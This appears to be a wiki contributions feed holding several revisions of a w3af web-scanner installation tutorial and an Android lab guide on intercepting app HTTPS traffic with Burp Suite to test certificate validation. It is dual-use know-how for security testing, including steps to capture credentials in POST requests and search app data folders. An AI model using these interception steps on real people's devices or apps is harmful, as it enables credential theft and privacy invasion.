Elvis Wiki - User contributions [en]

W3af Tutorial

2024-01-16T18:02:55Z

EPelanovic:

= Newest Kali Linux VM or MacOS Installation (2024) =

== Summary ==

This document is a Step-by-Step Guide on how to install and use w3af (command line, no GUI). w3af is a fully comprehensive environment for web application testing and exploitation. It provides a solid platform for web vulnerability assessments and penetration testing. w3af is able to identify 200+ vulnerabilities, including Cross-Site Scripting (XSS), SQL injection and OS commanding.

== Requirements ==

Make sure you have the following software ready before starting the installation:

* Git client: sudo apt-get install git
* Python
* Pip
* Docker (whatever version)
* Kali Linux (in my case as a VM in Windows 10) or MacOS

== Description ==

In my case the normal installation steps which were shown on "http://docs.w3af.org/en/latest/install.html" didn't worked out, because dependencies and packages are not available or do not work with newer operating systems, particularly for the GUI. Neither the w3af package was found like it was shown in the "Kali Linux Installation" section. Therefore the Docker Installation version was used with some modifications in order to start the w3af console.

=== Installation ===

Enter these commands in the shell

git clone https://github.com/andresriancho/w3af.git
cd w3af/extras/docker/scripts/
sudo ./w3af_console_docker

If you are using MacOS after executing the last command it is possible that you got the following error:

[[File:ErrorMessagePython.png|900px]]

Type in the following command and try it again.
In both MacOS Linux you will get the following error message which is because of Python.

[[File:ErrorMessagePython2.png|900px]]

Replace in the displayed file named "docker_helpers.py" the "," in the exception with an "as" on every place where it is. It should be used on two places.
Execute the command again and you should get the following result:

[[File:ErrorMessageW3AF.png|900px]]

This problem was also described here:
* https://github.com/andresriancho/w3af/issues/14918

[[File:ProblemDescribed.png|900px]]

Running the following commands with following credentials should be the solution (username=root ; password=w3af):

[[File:SolutionW3AF.png|900px]]

Here are the commands again if a copy & paste is needed. The "--network host" parameter is important to be able to scan websites within the virtual machine which run locally, because w3af runs in a docker container. Be careful to change the path accordingly. What is done here is a port forwarding from the docker container to localhost and then a SSH session is created to the container.

$ docker run -d --network host -p 22:22 --name w3af andresriancho/w3af

$ sudo ssh -i /<REDACTED>/w3af/extras/docker/scripts/common/w3af-docker.prv -t -t -oStrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=quiet root@localhost /home/w3af/w3af/w3af_console --no-update

Then the w3af console should finally run.

== Scanning ==

To make you familiar with the tool you can first type in "help" to see what commands are available:

[[File:help.png|900px]]

If you want to do some authenticated scans you have to play around with "http-settings like in the following two screenshots:

[[File:httpsettingshelp.png|900px]]

[[File:Httpsettingsview.png|900px]]

To be able to start a scan you can configure plugins. Switch to plugins (type in "plugins") and then enter "help" to see what opportunities you have:

[[File:pluginshelp.png|900px]]

To view for example the "audit" plugin in more detail, enter "list audit":

[[File:list_audit.png|900px]]

To enable some plugins of your choice in audit type in the appropriate plugin name:

[[File:list_audit_2.png|900px]]

You can also view the details of the plugin itself:

[[File:list_audit_3.png|900px]]

There are also prefabricated profiles which can be chosen like it can be seen in the following:

[[File:EverthingAboutProfiles.png|900px]]

To choose a profile enter like in the screenshot below:

[[File:configureProfile.png|900px]]

At the end, specify a target and start the scan:

[[File:setTargetAndStartScan.png|900px]]

== Results ==

The results are printed out at the console. They can be copied to a textfile to maybe be searchable.

== Exploitation ==

If for example an sql injection vulnerability was found by the tool, the following can be chosen out of the exploits:

[[File:setTargetAndStartScan.png|900px]]

= Deprecated Ubuntu 12.04 Installation (GUI version) =

For everyone who wants to use the tool with Ubuntu 12.04 the following needs to be done:

== Requirements ==

* Linux-based System - preferably Ubuntu 12.04 LTS
* Python2

== Description ==

=== Installation ===

Enter these commands in the shell

sudo apt-get install git
sudo apt install python2.7
git clone git@github.com:andresriancho/w3af.git
cd w3af/
./w3af_gui
./tmp/w3af_dependency_install.sh

In short, what happens here:

* We use git to download w3af’s source code
* Then we switch into a directory which contains some scripts
* Execution of w3af_console_docker script

Edit (Jan. 2023): Currently there might be new errors starting w3af_gui, therefore you might have to downgrade specific dependencies/packets or use an older OS (i.e. Ubuntu 12.04).

=== Scanning ===

This is how the GUI looks like:

[[File:W3afGUI_1.png|900px]]

On the left hand side, you can find different profiles, that have different plugins to select and configure.
Under the plugin section, there are different plugin groups:

* audit
* bruteforce
* crawl
* infrastructure
* evasion
* grep
* mangle
* output

After selecting a plugin, in the window on the right is a description regarding the plugin and its configurations. To configure the plugin, just select it, and modify the options that appears in the right window. You need to save the configuration to use it.

To finish the configuration for the scan, you need to insert a target URL in the upper text entry.

After selecting the profile, the plugins and typed in the URL, you can start the scan with clicking on start.

After starting the scan, the Log Pane will be opened, where in the upper part you have the logging text & below that messages you can see what the system is currently doing. Also on the right bottom side, there are three indicators showing the quantity of information items found, vulnerabilities found, & the shell, which were successfully exploited.

=== Results ===

During the scan or after finishing the scan, you can look in the results tab:

[[File:W3afGUI_2.png|900px]]

On the left side, it shows you the vulnerabilities and informations. When selecting one of the items, and that item corresponds to a HTTP request originated by the scanning, you can see it on the right side with its information. The colours indicate the severity of the vulnerability and have the following meaning:

* black for information,
* orange for low severity
* red for medium/high severity.

=== Exploitation ===

We can also use exploits in w3af:

[[File:W3afGUI_3.png|900px]]

In order to exploit a vulnerability, you need to drag the exploit to the vulnerability you want to exploit and drop it there. This drag-and-drop process is all you need to activate a particular vulnerability.

Apart from the w3af core functionality, that is to scan for vulnerabilities and exploit them, there are other tools that can be used, to find them follow the guide (Tools section) under the References section.

== References ==

* https://docs.w3af.org/en/stable/index.html
* https://github.com/andresriancho/w3af/

[[Category:Documentation]]

W3af Tutorial

2024-01-16T17:57:44Z

EPelanovic: Created page with "= Newest Kali Linux VM or MacOS Installation (2024) = == Summary == This document is a Step-by-Step Guide on how to install and use w3af (command line, no GUI). w3af is a fully comprehensive environment for web application testing and exploitation. It provides a solid platform for web vulnerability assessments and penetration testing. w3af is able to identify 200+ vulnerabilities, including Cross-Site Scripting (XSS), SQL injection and OS commanding. == Requiremen..."

= Newest Kali Linux VM or MacOS Installation (2024) =

== Summary ==

This document is a Step-by-Step Guide on how to install and use w3af (command line, no GUI). w3af is a fully comprehensive environment for web application testing and exploitation. It provides a solid platform for web vulnerability assessments and penetration testing. w3af is able to identify 200+ vulnerabilities, including Cross-Site Scripting (XSS), SQL injection and OS commanding.

== Requirements ==

Make sure you have the following software ready before starting the installation:

* Git client: sudo apt-get install git
* Python
* Pip
* Docker (whatever version)
* Kali Linux (in my case as a VM in Windows 10) or MacOS

== Description ==

In my case the normal installation steps which were shown on "http://docs.w3af.org/en/latest/install.html" didn't worked out, because dependencies and packages are not available or do not work with newer operating systems, particularly for the GUI. Neither the w3af package was found like it was shown in the "Kali Linux Installation" section. Therefore the Docker Installation version was used with some modifications in order to start the w3af console.

=== Installation ===

Enter these commands in the shell

git clone https://github.com/andresriancho/w3af.git
cd w3af/extras/docker/scripts/
sudo ./w3af_console_docker

If you are using MacOS after executing the last command it is possible that you got the following error:

[[File:ErrorMessagePython.png|900px]]

Type in the following command and try it again.
In both MacOS Linux you will get the following error message which is because of Python.

[[File:ErrorMessagePython2.png|900px]]

Replace in the displayed file named "docker_helpers.py" the "," in the exception with an "as" on every place where it is. It should be used on two places.
Execute the command again and you should get the following result:

[[File:ErrorMessageW3AF.png|900px]]

This problem was also described here:
* https://github.com/andresriancho/w3af/issues/14918

[[File:ProblemDescribed.png|900px]]

Running the following commands with following credentials should be the solution (username=root ; password=w3af):

[[File:SolutionW3AF.png|900px]]

Here are the commands again if a copy & paste is needed. The "--network host" parameter is important to be able to scan websites within the virtual machine which run locally, because w3af runs in a docker container. Be careful to change the path accordingly.

$ docker run -d --network host -p 22:22 --name w3af andresriancho/w3af

$ sudo ssh -i /<REDACTED>/w3af/extras/docker/scripts/common/w3af-docker.prv -t -t -oStrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=quiet root@localhost /home/w3af/w3af/w3af_console --no-update

Then the w3af console should finally run.

== Scanning ==

To make you familiar with the tool you can first type in "help" to see what commands are available:

[[File:help.png|900px]]

If you want to do some authenticated scans you have to play around with "http-settings like in the following two screenshots:

[[File:httpsettingshelp.png|900px]]

[[File:Httpsettingsview.png|900px]]

To be able to start a scan you can configure plugins. Switch to plugins (type in "plugins") and then enter "help" to see what opportunities you have:

[[File:pluginshelp.png|900px]]

To view for example the "audit" plugin in more detail, enter "list audit":

[[File:list_audit.png|900px]]

To enable some plugins of your choice in audit type in the appropriate plugin name:

[[File:list_audit_2.png|900px]]

You can also view the details of the plugin itself:

[[File:list_audit_3.png|900px]]

There are also prefabricated profiles which can be chosen like it can be seen in the following:

[[File:EverthingAboutProfiles.png|900px]]

To choose a profile enter like in the screenshot below:

[[File:configureProfile.png|900px]]

At the end, specify a target and start the scan:

[[File:setTargetAndStartScan.png|900px]]

== Results ==

The results are printed out at the console. They can be copied to a textfile to maybe be searchable.

== Exploitation ==

If for example an sql injection vulnerability was found by the tool, the following can be chosen out of the exploits:

[[File:setTargetAndStartScan.png|900px]]

= Deprecated Ubuntu 12.04 Installation (GUI version) =

For everyone who wants to use the tool with Ubuntu 12.04 the following needs to be done:

== Requirements ==

* Linux-based System - preferably Ubuntu 12.04 LTS
* Python2

== Description ==

=== Installation ===

Enter these commands in the shell

sudo apt-get install git
sudo apt install python2.7
git clone git@github.com:andresriancho/w3af.git
cd w3af/
./w3af_gui
./tmp/w3af_dependency_install.sh

In short, what happens here:

* We use git to download w3af’s source code
* Then we switch into a directory which contains some scripts
* Execution of w3af_console_docker script

Edit (Jan. 2023): Currently there might be new errors starting w3af_gui, therefore you might have to downgrade specific dependencies/packets or use an older OS (i.e. Ubuntu 12.04).

=== Scanning ===

This is how the GUI looks like:

[[File:W3afGUI_1.png|900px]]

On the left hand side, you can find different profiles, that have different plugins to select and configure.
Under the plugin section, there are different plugin groups:

* audit
* bruteforce
* crawl
* infrastructure
* evasion
* grep
* mangle
* output

After selecting a plugin, in the window on the right is a description regarding the plugin and its configurations. To configure the plugin, just select it, and modify the options that appears in the right window. You need to save the configuration to use it.

To finish the configuration for the scan, you need to insert a target URL in the upper text entry.

After selecting the profile, the plugins and typed in the URL, you can start the scan with clicking on start.

After starting the scan, the Log Pane will be opened, where in the upper part you have the logging text & below that messages you can see what the system is currently doing. Also on the right bottom side, there are three indicators showing the quantity of information items found, vulnerabilities found, & the shell, which were successfully exploited.

=== Results ===

During the scan or after finishing the scan, you can look in the results tab:

[[File:W3afGUI_2.png|900px]]

On the left side, it shows you the vulnerabilities and informations. When selecting one of the items, and that item corresponds to a HTTP request originated by the scanning, you can see it on the right side with its information. The colours indicate the severity of the vulnerability and have the following meaning:

* black for information,
* orange for low severity
* red for medium/high severity.

=== Exploitation ===

We can also use exploits in w3af:

[[File:W3afGUI_3.png|900px]]

In order to exploit a vulnerability, you need to drag the exploit to the vulnerability you want to exploit and drop it there. This drag-and-drop process is all you need to activate a particular vulnerability.

Apart from the w3af core functionality, that is to scan for vulnerabilities and exploit them, there are other tools that can be used, to find them follow the guide (Tools section) under the References section.

== References ==

* https://docs.w3af.org/en/stable/index.html
* https://github.com/andresriancho/w3af/

[[Category:Documentation]]

File:Exploit.png

2024-01-16T13:06:41Z

EPelanovic:

File:SetTargetAndStartScan.png

2024-01-16T12:49:06Z

EPelanovic:

File:List audit 3.png

2024-01-16T12:48:57Z

EPelanovic:

File:List audit 2.png

2024-01-16T12:48:46Z

EPelanovic:

File:EverthingAboutProfiles.png

2024-01-16T12:48:16Z

EPelanovic:

File:ConfigureProfile.png

2024-01-16T12:48:06Z

EPelanovic:

File:List audit.png

2024-01-16T12:47:54Z

EPelanovic:

File:Pluginshelp.png

2024-01-16T12:47:44Z

EPelanovic:

File:Httpsettingsview.png

2024-01-16T12:47:36Z

EPelanovic:

File:Httpsettingshelp.png

2024-01-16T12:46:59Z

EPelanovic:

File:Help.png

2024-01-16T12:46:49Z

EPelanovic:

File:W3afGUI 3.png

2024-01-15T22:42:29Z

EPelanovic:

File:W3afGUI 2.png

2024-01-15T22:41:47Z

EPelanovic:

File:W3afGUI 1.png

2024-01-15T22:41:35Z

EPelanovic:

File:SolutionW3AF.png

2024-01-15T22:34:51Z

EPelanovic:

File:ProblemDescribed.png

2024-01-15T22:33:09Z

EPelanovic:

File:ErrorMessageW3AF.png

2024-01-15T22:31:45Z

EPelanovic:

File:ErrorMessagePython2.png

2024-01-15T22:29:10Z

EPelanovic:

File:ErrorMessagePython.png

2024-01-15T22:26:12Z

EPelanovic:

File:InstallationWithDocker.png

2024-01-15T20:29:33Z

EPelanovic:

MitM on Android App

2023-04-03T09:33:36Z

EPelanovic:

== Summary ==

The aim of this documentation is to test the certificate validation process of popular android apps. This will be done by a proxy which will intercept the traffic between the android app and the appropriate server. To simulate the Android smartphone an Android emulator was used. First the traffic will be intercepted without the root certificate of the proxy installed to check if a warning will prevent the user to continue to exchange data over an unencrypted channel. Then the root certificate of the proxy will be installed to be able to test if the https traffic can be decrypted. When targeting Android 7.0 (API level 24) or higher it shouldn't be possible to be able to see the decrypted HTTPS traffic, because the NSC settings should apply. All lower versions should accept the installed user certificates, which will allow the attacker to intercept the traffic in cleartext.

== Background ==
Certificate validation in Android applications is a historically known problem. This validation process is a security feature that causes clients to verify the identity of a server before attempting to authenticate on a network.

The process is usually done by retrieving a sequence of certificates from the server, each of which has signed the next in the sequence. The root of the signing CA is the certificate that is bound to the server. The certificates in this chain are compared with the installed certificates in the client's operating system and then verified. If these are not found there, the client receives a certificate warning when surfing a website. If the client accepts the risk, it runs the risk of a third party listening in on the data traffic.

Developers tend to implement certificate validation incorrectly on mobile applications. Therefore Google designed its Google Safeguards and Network Setting Configurations (NSC). It turns out that even with these, there are serious flaws in the implementation that allow a machine-in-the-middle attack.

This project is intended to familiarize ourselves with the problem by testing whether mobile applications accept certificates such as those of a well-known proxy (Burp Suite) and thus allow HTTPS encryption to be broken. Results could therefore show whether there are underlying problems in the process of certificate validation in the apps, or whether the application works correctly.

== Requirements ==

* Burp Suite (Download [https://portswigger.net/burp here])
* Android Studio Emulator (Download [https://developer.android.com/studio here])

== Description ==

=== Step 1 (Setting Up the Virtual Device) ===

&emsp;1.Install Android Studio Emulator and start the software after installation.

&emsp;2.Configure Android SDK (Android 6.0 Marshmallow was used for this project) with the SDK Manager of the Emulator, which can be found under More Actions > Virtual Device Manager.

&emsp;3.Create a Virtual Device over the AVD Manager (Nexus 6 Phone was used for this project)

&emsp;4.Select the “Marshmallow” system image. When using the first time, it must be first downloaded under “Other Images”.

&emsp;5.In the next section you can set a name for the device and configure for example storage parameters or the CPU cores.

&emsp;6.Then the Emulator can be launched. The device should work and be connected to the internet automatically.

When finished, it should look like in the figure.

[[File:Bild1.png|600px]]

=== Step 2 (Installing Apps with Android Debug Bridge) ===

Next, some APKs can be downloaded locally on the host, which will be then pushed in the next steps on the virtual Android device.

The APKs can be downloaded for example from [https://apk-dl.com here]. To install the APK a tool named adb (Android Debug Bridge). This command-line tool can be used to install and uninstall applications on the device. Furthermore, files can be pushed to the device. But many other things can be also done. This can be looked up here [https://developer.android.com/studio/command-line/adb here].

The Android Debug Bridge is located in the operating system at the following path:

* Mac: /Users/[your_user]/Library/Android/sdk/platform.tools/
* Windows: C:\Users\[user]\AppData\Local\Android\sdk\platform-tools\
* Linux: /usr/share/android-sdk/platform-tools/

After moving to the folder, you can check with “./adb devices” the list of devices attached to your system. Please pay attention that you have to be in adb folder to be able to execute adb.

When downloading APK, you can install the application onto your virtual Android device. Assumed the APK was downloaded in the “Downloads” folder, so then we can use the following command:

* “./adb install ~/Downloads/[your_downloaded_APK]

After some seconds it should be able to start the app on the smartphone.

=== Step 3 (Configuring Burp Proxy) ===

Burp can be configured under Options like it was shown in the Figure below. The listening interface and port can be defined by clicking on the “Edit” button. Also, it can be configured that on all interfaces should be listened. In this project it was configured to listen on localhost (127.0.0.1) on port 8080.

[[File:Bild2.png|800px]]

Now the Android device the proxy settings needs to be set. Go therefore to the Emulator > Settings > Proxy. Type in the proxy listener in the manual proxy settings and click on “Apply”.

[[File:Bild3.png|400px]]

When you click in Burp Suite on “HTTP history” you should be able to intercept the HTTP traffic which you can create on the virtual device.
To be able to intercept HTTPS traffic, the burp suite certificate needs to be installed on the Android device.

[[File:Bild4.png|800px]]

=== Step 4 (Installing Burp Suite Certificate) ===

In Burp Suite switch to “Options” and click on “Import / export CA certificate”. Then export the certificate in DER format. Give the certificate a name and save it with a “.cer” extension.

[[File:Bild5.png|800px]]

Now the certificate can be pushed with following command into SD card on the emulator:

* ./adb push ~/Downloads/burpcert.cer /sdcard

With an interactive shell it can be checked now if the certificate is already persistent on the device:

* adb shell // Start the interactive shell
* cd sdcard/ // Switch to SD-card storage
* ls // Show all files in current directory

The certificate file should be now displayed in the directory.
On the Android device the certificate can be installed under Settings > Security > Install from SD card > Internal storage > [your_certificate_name].cer

Follow the process straight away.
After installing the certificate, the root certificate (PortSwigger CA) should be installed under Settings > Security > Trusted credentials > USER

[[File:Bild6.png|400px]]

Now you should be also able to intercept HTTPS traffic. Intercept now individual POST requests over the “Intercept” option in Burp. Turn the interception on and enter some test credentials. Encrypted, hashed or cleartext passwords should be now caught.
Also, it can be searched for sensitive data over the interactive shell:

* adb shell
* cd /
* cd data/data

Then you can search all the directories for some interesting data. Be careful, the device has to be rooted in order to be able to have access to these folders.

[[File:Bild7.png|800px]]

=== Step 5 (Certificate Validation Testing) ===

&emsp;1.Self-signed certificate
: To see if your application accepts self-signed certificates, you should install a self-signed certificate and check if you can see the HTTPS traffic.
: In order to install the self-signed certificate in Burp go to:
:: *the Proxy tab and select Options.
:: *Go then to Proxy Listeners sections, choose your listener and click on Edit.
:: *Click on Certificate tab, choose Use a self-signed certificate and confirm.

&emsp;2.Accepting certificates with an untrusted CA

: The same procedure can be executed here in order to test the application for certificates with an untrusted CA.
: On the Certificate tab, check the Generate a CA-signed certificate with a specific hostname button and type in the backend server’s hostname.
: Again, if it is possible to see the decrypted HTTPS traffic, the application is accepting certificates with an untrusted CA.

&emsp;3.Accepting incorrect hostname

: The third option is a test with an CA-sgined certificate with a specific hostname.
: For this option you have to choose the CA-signed certificate with a specific hostname button under the Certificate tab. Afterwards you need to type in a invalid hostname (e.g., test.com)
: If you were not able to see any decrypted HTTPS traffic the application most probably has certificate pinning implemented.

== Results ==

Some popular apps which were downloaded millions of times, were tested within this project. Basically, we distinguish between three outputs:

&emsp;1.There are apps which didn’t load anymore and therefore didn’t work if a proxy on the virtual device is configured, most probably because of an implementation of certificate pinning.

&emsp;2.App does work correctly, but the credentials cannot be decrypted.

&emsp;3.App does work and credentials can be decrypted.

Most of the apps do not work since they have most probably HPKP, certificate- or key pinning implemented, which didn’t allow to accept another certificate then configured.

== References ==

* https://owasp.org/www-project-mobile-app-security/

[[Category:Documentation]]

MitM on Android App

2023-03-30T21:24:26Z

EPelanovic:

MitM on Android App

2023-03-30T17:44:28Z

EPelanovic:

== Summary ==

The aim of this documentation is to test the certificate validation process of popular android apps. This will be done by a proxy which will intercept the traffic between the android app and the appropriate server. To simulate the Android smartphone an Android emulator was used. First the traffic will be intercepted without the root certificate of the proxy installed to check if a warning will prevent the user to continue to exchange data over an unencrypted channel. Then the root certificate of the proxy will be installed to be able to test if the https traffic can be decrypted. When targeting Android 7.0 (API level 24) or higher it shouldn't be possible to be able to see the decrypted HTTPS traffic, because the NSC settings should apply. All lower versions should accept the installed user certificates, which will allow the attacker to intercept the traffic in cleartext.

== Background ==
Certificate validation in Android applications is a historically known problem. This validation process is a security feature that causes clients to verify the identity of a server before attempting to authenticate on a network.

The process is usually done by retrieving a sequence of certificates from the server, each of which has signed the next in the sequence. The root of the signing CA is the certificate that is bound to the server. The certificates in this chain are compared with the installed certificates in the client's operating system and then verified. If these are not found there, the client receives a certificate warning when surfing a website. If the client accepts the risk, it runs the risk of a third party listening in on the data traffic.

Developers tend to implement certificate validation incorrectly on mobile applications. Therefore Google designed its Google Safeguards and Network Setting Configurations (NSC). It turns out that even with these, there are serious flaws in the implementation that allow a machine-in-the-middle attack.

This project is intended to familiarize ourselves with the problem by testing whether mobile applications accept certificates such as those of a well-known proxy (Burp Suite) and thus allow HTTPS encryption to be broken. Results could therefore show whether there are underlying problems in the process of certificate validation in the apps, or whether the application works correctly.

== Requirements ==

* Burp Suite (Download [https://portswigger.net/burp here])
* Android Studio Emulator (Download [https://developer.android.com/studio here])

== Description ==

=== Step 1 (Setting Up the Virtual Device) ===

&emsp;1.Install Android Studio Emulator and start the software after installation.

&emsp;2.Configure Android SDK (Android 6.0 Marshmallow was used for this project) with the SDK Manager of the Emulator, which can be found under More Actions > Virtual Device Manager.

&emsp;3.Create a Virtual Device over the AVD Manager (Nexus 6 Phone was used for this project)

&emsp;4.Select the “Marshmallow” system image. When using the first time, it must be first downloaded under “Other Images”.

&emsp;5.In the next section you can set a name for the device and configure for example storage parameters or the CPU cores.

&emsp;6.Then the Emulator can be launched. The device should work and be connected to the internet automatically.

When finished, it should look like in the figure.

[[File:Bild1.png|600px]]

=== Step 2 (Installing Apps with Android Debug Bridge) ===

Next, some APKs can be downloaded locally on the host, which will be then pushed in the next steps on the virtual Android device.

The APKs can be downloaded for example from [https://apk-dl.com here]. To install the APK a tool named adb (Android Debug Bridge). This command-line tool can be used to install and uninstall applications on the device. Furthermore, files can be pushed to the device. But many other things can be also done. This can be looked up here [https://developer.android.com/studio/command-line/adb here].

The Android Debug Bridge is located in the operating system at the following path:

* Mac: /Users/[your_user]/Library/Android/sdk/platform.tools/
* Windows: C:\Users\[user]\AppData\Local\Android\sdk\platform-tools\
* Linux: /usr/share/android-sdk/platform-tools/

After moving to the folder, you can check with “./adb devices” the list of devices attached to your system. Please pay attention that you have to be in adb folder to be able to execute adb.

When downloading APK, you can install the application onto your virtual Android device. Assumed the APK was downloaded in the “Downloads” folder, so then we can use the following command:

* “./adb install ~/Downloads/[your_downloaded_APK]

After some seconds it should be able to start the app on the smartphone.

=== Step 3 (Configuring Burp Proxy) ===

Burp can be configured under Options like it was shown in the Figure below. The listening interface and port can be defined by clicking on the “Edit” button. Also, it can be configured that on all interfaces should be listened. In this project it was configured to listen on localhost (127.0.0.1) on port 8080.

[[File:Bild2.png|800px]]

Now the Android device the proxy settings needs to be set. Go therefore to the Emulator > Settings > Proxy. Type in the proxy listener in the manual proxy settings and click on “Apply”.

[[File:Bild3.png|400px]]

When you click in Burp Suite on “HTTP history” you should be able to intercept the HTTP traffic which you can create on the virtual device.
To be able to intercept HTTPS traffic, the burp suite certificate needs to be installed on the Android device.

[[File:Bild4.png|800px]]

=== Step 4 (Installing Burp Suite Certificate) ===

In Burp Suite switch to “Options” and click on “Import / export CA certificate”. Then export the certificate in DER format. Give the certificate a name and save it with a “.cer” extension.

[[File:Bild5.png|800px]]

Now the certificate can be pushed with following command into SD card on the emulator:

* ./adb push ~/Downloads/burpcert.cer /sdcard

With an interactive shell it can be checked now if the certificate is already persistent on the device:

* adb shell // Start the interactive shell
* cd sdcard/ // Switch to SD-card storage
* ls // Show all files in current directory

The certificate file should be now displayed in the directory.
On the Android device the certificate can be installed under Settings > Security > Install from SD card > Internal storage > [your_certificate_name].cer

Follow the process straight away.
After installing the certificate, the root certificate (PortSwigger CA) should be installed under Settings > Security > Trusted credentials > USER

[[File:Bild6.png|400px]]

Now you should be also able to intercept HTTPS traffic. Intercept now individual POST requests over the “Intercept” option in Burp. Turn the interception on and enter some test credentials. Encrypted, hashed or cleartext passwords should be now caught.
Also, it can be searched for sensitive data over the interactive shell:

* adb shell
* cd /
* cd data/data

Then you can search all the directories for some interesting data. Be careful, the device has to be rooted in order to be able to have access to these folders.

[[File:Bild7.png|800px]]

== Results ==

Some popular apps which were downloaded millions of times, were tested within this project. Basically, we distinguish between three outputs:

&emsp;1.There are apps which didn’t load anymore and therefore didn’t work if a proxy on the virtual device is configured.
&emsp;2.App does work correctly, but the credentials cannot be decrypted.
&emsp;3.App does work and credentials can be decrypted.

Most of the apps do not work since they have most probably HPKP, certificate- or key pinning implemented, which didn’t allow to accept another certificate then configured.

[[Category:Documentation]]

MitM on Android App

2023-02-17T15:12:13Z

EPelanovic:

== Summary ==

The aim of this documentation is to test the certificate validation process of popular android apps. This will be done by a proxy which will intercept the traffic between the android app and the appropriate server. To simulate the Android smartphone an Android emulator was used. First the traffic will be intercepted without the root certificate of the proxy installed to check if a warning will prevent the user to continue to exchange data over an unencrypted channel. Then the root certificate of the proxy will be installed to be able to test if the https traffic can be decrypted.

== Background ==
Certificate validation in Android applications is a historically known problem. This validation process is a security feature that causes clients to verify the identity of a server before attempting to authenticate on a network.

The process is usually done by retrieving a sequence of certificates from the server, each of which has signed the next in the sequence. The root of the signing CA is the certificate that is bound to the server. The certificates in this chain are compared with the installed certificates in the client's operating system and then verified. If these are not found there, the client receives a certificate warning when surfing a website. If the client accepts the risk, it runs the risk of a third party listening in on the data traffic.

Developers tend to implement certificate validation incorrectly on mobile applications. Therefore Google designed its Google Safeguards and Network Setting Configurations (NSC). It turns out that even with these, there are serious flaws in the implementation that allow a machine-in-the-middle attack.

This project is intended to familiarize ourselves with the problem by testing whether mobile applications accept certificates such as those of a well-known proxy (Burp Suite) and thus allow HTTPS encryption to be broken. Results could therefore show whether there are underlying problems in the process of certificate validation in the apps, or whether the application works correctly.

== Requirements ==

* Burp Suite (Download [https://portswigger.net/burp here])
* Android Studio Emulator (Download [https://developer.android.com/studio here])

== Description ==

=== Step 1 (Setting Up the Virtual Device) ===

&emsp;1.Install Android Studio Emulator and start the software after installation.

&emsp;2.Configure Android SDK (Android 6.0 Marshmallow was used for this project) with the SDK Manager of the Emulator, which can be found under More Actions > Virtual Device Manager.

&emsp;3.Create a Virtual Device over the AVD Manager (Nexus 6 Phone was used for this project)

&emsp;4.Select the “Marshmallow” system image. When using the first time, it must be first downloaded under “Other Images”.

&emsp;5.In the next section you can set a name for the device and configure for example storage parameters or the CPU cores.

&emsp;6.Then the Emulator can be launched. The device should work and be connected to the internet automatically.

When finished, it should look like in the figure.

[[File:Bild1.png|600px]]

=== Step 2 (Installing Apps with Android Debug Bridge) ===

Next, some APKs can be downloaded locally on the host, which will be then pushed in the next steps on the virtual Android device.

The APKs can be downloaded for example from [https://apk-dl.com here]. To install the APK a tool named adb (Android Debug Bridge). This command-line tool can be used to install and uninstall applications on the device. Furthermore, files can be pushed to the device. But many other things can be also done. This can be looked up here [https://developer.android.com/studio/command-line/adb here].

The Android Debug Bridge is located in the operating system at the following path:

* Mac: /Users/[your_user]/Library/Android/sdk/platform.tools/
* Windows: C:\Users\[user]\AppData\Local\Android\sdk\platform-tools\
* Linux: /usr/share/android-sdk/platform-tools/

After moving to the folder, you can check with “./adb devices” the list of devices attached to your system. Please pay attention that you have to be in adb folder to be able to execute adb.

When downloading APK, you can install the application onto your virtual Android device. Assumed the APK was downloaded in the “Downloads” folder, so then we can use the following command:

* “./adb install ~/Downloads/[your_downloaded_APK]

After some seconds it should be able to start the app on the smartphone.

=== Step 3 (Configuring Burp Proxy) ===

Burp can be configured under Options like it was shown in the Figure below. The listening interface and port can be defined by clicking on the “Edit” button. Also, it can be configured that on all interfaces should be listened. In this project it was configured to listen on localhost (127.0.0.1) on port 8080.

[[File:Bild2.png|800px]]

Now the Android device the proxy settings needs to be set. Go therefore to the Emulator > Settings > Proxy. Type in the proxy listener in the manual proxy settings and click on “Apply”.

[[File:Bild3.png|400px]]

When you click in Burp Suite on “HTTP history” you should be able to intercept the HTTP traffic which you can create on the virtual device.
To be able to intercept HTTPS traffic, the burp suite certificate needs to be installed on the Android device.

[[File:Bild4.png|800px]]

=== Step 4 (Installing Burp Suite Certificate) ===

In Burp Suite switch to “Options” and click on “Import / export CA certificate”. Then export the certificate in DER format. Give the certificate a name and save it with a “.cer” extension.

[[File:Bild5.png|800px]]

Now the certificate can be pushed with following command into SD card on the emulator:

* ./adb push ~/Downloads/burpcert.cer /sdcard

With an interactive shell it can be checked now if the certificate is already persistent on the device:

* adb shell // Start the interactive shell
* cd sdcard/ // Switch to SD-card storage
* ls // Show all files in current directory

The certificate file should be now displayed in the directory.
On the Android device the certificate can be installed under Settings > Security > Install from SD card > Internal storage > [your_certificate_name].cer

Follow the process straight away.
After installing the certificate, the root certificate (PortSwigger CA) should be installed under Settings > Security > Trusted credentials > USER

[[File:Bild6.png|400px]]

Now you should be also able to intercept HTTPS traffic. Intercept now individual POST requests over the “Intercept” option in Burp. Turn the interception on and enter some test credentials. Encrypted, hashed or cleartext passwords should be now caught.
Also, it can be searched for sensitive data over the interactive shell:

* adb shell
* cd /
* cd data/data

Then you can search all the directories for some interesting data. Be careful, the device has to be rooted in order to be able to have access to these folders.

[[File:Bild7.png|800px]]

== Results ==

Some popular apps which were downloaded millions of times, were tested within this project. Basically, we distinguish between three outputs:

&emsp;1.There are apps which didn’t load anymore and therefore didn’t work if a proxy on the virtual device is configured.
&emsp;2.App does work correctly, but the credentials cannot be decrypted.
&emsp;3.App does work and credentials can be decrypted.

Most of the apps do not work since they have most probably HPKP, certificate- or key pinning implemented, which didn’t allow to accept another certificate then configured.

[[Category:Documentation]]

File:Bild7.png

2023-02-17T13:28:54Z

EPelanovic:

File:Bild6.png

2023-02-17T13:28:42Z

EPelanovic:

File:Bild5.png

2023-02-17T13:28:34Z

EPelanovic:

File:Bild4.png

2023-02-17T13:28:25Z

EPelanovic:

File:Bild3.png

2023-02-17T13:28:13Z

EPelanovic: EPelanovic uploaded a new version of File:Bild3.png

File:Bild2.png

2023-02-17T13:27:33Z

EPelanovic: EPelanovic uploaded a new version of File:Bild2.png

MitM on Android App

2023-02-15T22:57:26Z

EPelanovic: Created page with "== Summary == Description what this documentation is about. == Requirements == * Operating system: Ubuntu 18.04 bionic amd64 * Packages: git emacs In order to complete these steps, you must have followed Some Other Documentation before. == Description == === Step 1 === Enter these commands in the shell echo foo echo bar === Step 2 === Make sure to read * War and Peace * Lord of the Rings * The Baroque Cycle == Used Hardware == Device to be used with..."

== Summary ==

